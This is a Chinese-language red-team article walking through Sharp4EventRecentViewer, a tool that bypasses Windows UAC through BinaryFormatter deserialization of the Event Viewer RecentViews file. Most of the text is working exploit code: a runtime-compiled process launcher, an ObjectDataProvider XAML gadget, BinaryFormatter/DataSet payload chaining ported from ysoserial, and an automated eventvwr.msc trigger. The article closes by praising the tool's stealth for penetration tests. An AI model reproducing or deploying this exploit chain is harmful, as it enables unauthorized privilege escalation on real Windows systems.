Sharp4EventRecentViewer是一款红队常用的UAC绕过工具,利用Windows事件查看器的反序列化漏洞,来实现系统命令执行和UAC绕过。
1. Windows事件查看器
在 Windows 系统中,事件查看器(Event Viewer)是一个非常有用的管理工具,可以帮助系统管理员和安全分析人员查看系统日志、应用程序日志、安全日志等。通常情况位于当前系统用户下的AppData\Local\Microsoft\Event Viewer目录。在事件查看器的目录中有一个文件名为 RecentViews,这个文件是一个二进制格式的文件,记录了用户最近在事件查看器中查看的视图信息,保存了一些用户操作日志的信息,一个正常合法的RecentViews文件内容如下图所示。
在 Windows中,可以通过多种方法来启动事件查看器,以下是常见的两种命令行方式,这两条命令会启动 eventvwr.msc 或 eventvwr.exe,均会调用微软管理控制台(MMC)来启动事件查看器界面。
cmd /c eventvwr.msc
cmd /c eventvwr.exe
另外使用Process Hacker 分析事件查看器的加载情况,在 Process Hacker 中,右键单击 mmc.exe 进程,然后选择“属性”,在属性窗口中,切换到“.NET 程序集”标签页,可以看到加载的 .NET 程序集列表,包括 EventViewer.dll,此文件是事件查看器功能的核心模块。这是因为在事件查看器启动过程中,Windows 会自动加载 EventViewer.dll,这是事件查看器的核心 .NET 组件之一,提供事件记录的读取、解析和显示功能,如下图所示。
由于 EventViewer.dll内部调用了LoadMostRecentViewsDataFromFile方法,此方法调用BinaryFormatter().Deserialize方法反序列化读取最近的事件记录内容,核心漏洞代码如下所示。
private void LoadMostRecentViewsDataFromFile()
{
try
{
if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile))
{
FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);
object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;
lock (syncRoot)
{
EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);
}
fileStream.Close();
}
}catch (FileNotFoundException){}
}
因此,只需要使用ysoserial 生成攻击载荷写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,当打开事件查看器即可触发漏洞。
2. 代码实现绕过UAC
2.1 动态编译启动新进程
首先代码中定义了一个名为 CreateSerializedData 的静态方法,方法内部的 text 字符串包含一段完整的.NET代码,用于创建一个控制台程序,内部使用了 DllImport 引入 Windows API 函数 CreateProcess,用于在桌面上创建一个新进程,随后,使用 CSharpCodeProvider 和 CompilerParameters 将这段代码动态编译为一个可执行文件 StartInSelectedDesktop.exe,并存储在临时文件目录中。
string text = "\r\nusing System;\r\nusing System.Runtime.InteropServices;\r\n\r\n\r\nclass HelloWorld\r\n{\r\n [DllImport(\"kernel32.dll\")]\r\n private static extern bool CreateProcess(\r\n string lpApplicationName,\r\n string lpCommandLine,\r\n IntPtr lpProcessAttributes,\r\n IntPtr lpThreadAttributes,\r\n bool bInheritHandles,\r\n int dwCreationFlags,\r\n IntPtr lpEnvironment,\r\n string lpCurrentDirectory,\r\n ref STARTUPINFO lpStartupInfo,\r\n ref PROCESS_INFORMATION lpProcessInformation);\r\n\r\n [StructLayout(LayoutKind.Sequential)]\r\n struct STARTUPINFO\r\n {\r\n public Int32 cb;\r\n public string lpReserved;\r\n public string lpDesktop;\r\n public string lpTitle;\r\n public Int32 dwX;\r\n public Int32 dwY;\r\n public Int32 dwXSize;\r\n public Int32 dwYSize;\r\n public Int32 dwXCountChars;\r\n public Int32 dwYCountChars;\r\n public Int32 dwFillAttribute;\r\n public Int32 dwFlags;\r\n public Int16 wShowWindow;\r\n public Int16 cbReserved2;\r\n public IntPtr lpReserved2;\r\n public IntPtr hStdInput;\r\n public IntPtr hStdOutput;\r\n public IntPtr hStdError;\r\n }\r\n\r\n [StructLayout(LayoutKind.Sequential)]\r\n internal struct PROCESS_INFORMATION\r\n {\r\n public IntPtr hProcess;\r\n public IntPtr hThread;\r\n public int dwProcessId;\r\n public int dwThreadId;\r\n }\r\n \r\n\r\n static void Main(string[] args)\r\n {\r\n string DesktopName=args[0];\r\n string argumentsAsString = string.Join(\" \", args, 1, args.Length - 1);\r\n STARTUPINFO si = new STARTUPINFO();\r\n si.cb = Marshal.SizeOf(si);\r\n si.lpDesktop = DesktopName;\r\n PROCESS_INFORMATION pi = new PROCESS_INFORMATION();\r\n bool success = CreateProcess(\r\n null,\r\n argumentsAsString,\r\n IntPtr.Zero,\r\n IntPtr.Zero,\r\n false,\r\n 48,\r\n IntPtr.Zero,\r\n null,\r\n ref si,\r\n ref pi);\r\n }\r\n}\r\n";
Console.ForegroundColor = ConsoleColor.Yellow;
Console.WriteLine("Compling StartInSelectedDesktop...");
CompilerParameters compilerParameters = new CompilerParameters();
compilerParameters.GenerateExecutable = true;
compilerParameters.OutputAssembly = Path.Combine(Path.GetTempPath(), "StartInSelectedDesktop.exe");
我们打开动态编译生成的StartInSelectedDesktop.exe,可以看到格式化的代码,更加便于阅读理解,代码从 args 参数中获取桌面名称和命令行lpCommandLine,将它们传递给 CreateProcess,此处用于启动该新的cmd.exe进程。如下图所示
2.2 对象转换成XAML
随后,利用 ObjectDataProvider 将进程启动参数序列化为 XAML 格式,通过创建Process对象指定启动的文件名是动态编译后的临时文件:StartInSelectedDesktop.exe,Arguments参数为 Default \"cmd.exe\",具体代码如下所示
ProcessStartInfo processStartInfo = new ProcessStartInfo
{
FileName = outputAssembly,
Arguments = arguments
};
StringDictionary value = new StringDictionary();
typeof(ProcessStartInfo).GetField("environmentVariables", BindingFlags.Instance | BindingFlags.NonPublic).SetValue(processStartInfo, value);
Process objectInstance = new Process
{
StartInfo = processStartInfo
};
上述代码中ProcessStartInfo 的 environmentVariables 字段是私有的,这里通过反射获取并赋值,确保运行该进程时不使用任何特定环境变量。接着,创建了一个 ObjectDataProvider 对象,该对象的作用是通过 WPF 的数据绑定系统调用方法,并设置StartInfo,objectInstance 是一个新的 Process 实例,并通过 StartInfo 属性设置启动参数,具体代码如下所示。
Process objectInstance = new Process
{
StartInfo = processStartInfo
};
ObjectDataProvider obj = new ObjectDataProvider
{
MethodName = "Start",
IsInitialLoadEnabled = false,
ObjectInstance = objectInstance
};
然后,通过 XamlWriter 将 ObjectDataProvider 对象序列化为 XAML 格式的字符串,输出的XAML内容如下所示。
<?xml version="1.0" encoding="utf-16"?>
<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
<ObjectDataProvider.ObjectInstance>
<sd:Process>
<sd:Process.StartInfo>
<sd:ProcessStartInfo Arguments="Default "cmd.exe""
StandardErrorEncoding="{x:Null}"
StandardOutputEncoding="{x:Null}"
UserName=""
Password="{x:Null}"
Domain=""
LoadUserProfile="False"
FileName="C:\Users\Ivan1ee\AppData\Local\Temp\StartInSelectedDesktop.exe" />
</sd:Process.StartInfo>
</sd:Process>
</ObjectDataProvider.ObjectInstance>
</ObjectDataProvider>
2.3 BinaryFormatter 序列化
随后,通过 BinaryFormatter反序列化漏洞触发执行XAML代码,在Payload构造过程中搬运了ysoserial.exe里的TextFormattingRunPropertiesMarshal类,完成xaml内容作为参数的传递。
再通过 BinaryFormatter 将 graph 对象序列化成二进制数据,并将其存储到 bfPayload 中。具体代码如下所示
TextFormattingRunPropertiesMarshal graph = new TextFormattingRunPropertiesMarshal(xaml);
byte[] result;
using (MemoryStream memoryStream = new MemoryStream())
{
Console.WriteLine("Creating the BinaryFormatter...");
BinaryFormatter binaryFormatter = new BinaryFormatter();
binaryFormatter.Serialize(memoryStream, graph);
byte[] bfPayload = memoryStream.ToArray();
Console.WriteLine("Spoofing DataSets Tables_0 with payload...");
DataSetMarshal graph2 = new DataSetMarshal(bfPayload);
memoryStream.Position = 0L;
binaryFormatter.Serialize(memoryStream, graph2);
Console.ForegroundColor = ConsoleColor.Green;
Console.WriteLine("Exploit Created...");
result = memoryStream.ToArray();
}
代码创建了一个 DataSetMarshal 对象 graph2,并将 bfPayload 作为参数传递,这里的DataSetMarshal类也是从ysoserial中移植过来的,具体代码如下所示
从.NET反序列化DataSet攻击链得知,主要将payload放到DataSet.Tables_0属性上,因此this._fakeTable的值便是恶意的攻击负载
2.4 白加黑启动绕过UAC
最后,通过调用 CreateProcess 方法,利用 eventvwr.msc 进程来触发恶意载荷的反序列化,从而绕过用户账户控制 (UAC) 限制启动新的 cmd 进程。因为此时恶意负载已经写入到 C:\Users\Ivan1ee\AppData\Local\Microsoft\Event Viewer\RecentViews,自动化打开事件查看器即可触发漏洞。具体代码如下所示
if (!Program.CreateProcess(null, "cmd /c start \"\" \"%windir%\\system32\\eventvwr.msc\"", IntPtr.Zero, IntPtr.Zero, false, 48, IntPtr.Zero, null, ref structure, ref process_INFORMATION))
在执行Sharp4EventRecentViewer时,只需提供需要执行的命令行参数,Sharp4EventRecentViewer.exe cmd.exe,如下图所示
工具会自动生成的恶意载荷文件并写入到事件查看器的RecentViews路径,然后工具自动化模拟用户打开事件查看器,完成触发反序列化漏洞,启动新的CMD进程命令。如下图所示。
3. 小结
综上,利用了Windows事件查看器的反序列化漏洞,具备强大的UAC绕过能力。在红队渗透测试中,其高度隐蔽性和无文件特性而受到广泛应用。